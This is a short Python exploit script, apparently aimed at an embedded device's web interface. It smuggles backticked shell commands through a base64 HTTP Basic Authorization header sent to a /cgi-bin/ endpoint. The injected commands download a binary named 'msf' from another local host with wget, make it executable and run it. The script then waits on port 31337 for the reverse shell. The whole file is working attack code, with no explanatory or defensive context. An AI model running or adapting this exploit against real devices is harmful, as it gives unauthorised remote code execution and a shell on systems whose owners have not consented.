text: #!/usr/bin/python3
  
  from pwn import *
  from threading import Thread
  import requests
  import base64
  
  cmd  = 'admin:'
  cmd += '`'
  cmd += 'wget http://192.168.2.1:8000/tools/msf -O /msf\n'
  cmd += 'chmod 777 /msf\n'
  cmd += '/msf'
  cmd += '`'
  
  assert(len(cmd) < 255)
  
  cmd_b64 = base64.b64encode(cmd.encode()).decode()
  
  headers = {
      "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0",
      "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
      "Accept-Encoding": "gzip, deflate",
      "Connection": "keep-alive",
      "Upgrade-Insecure-Requests": "1",
      "Authorization": "Basic " + cmd_b64
  }
  
  def attack():
      try:
          requests.get("http://192.168.2.2/cgi-bin/", headers=headers, timeout=1)
      except Exception as e:
          print(e)
  
  thread = Thread(target=attack)
  thread.start()
  
  io = listen(31337)
  io.wait_for_connection()
  log.success("getshell")
  io.interactive()
  
  thread.join()
  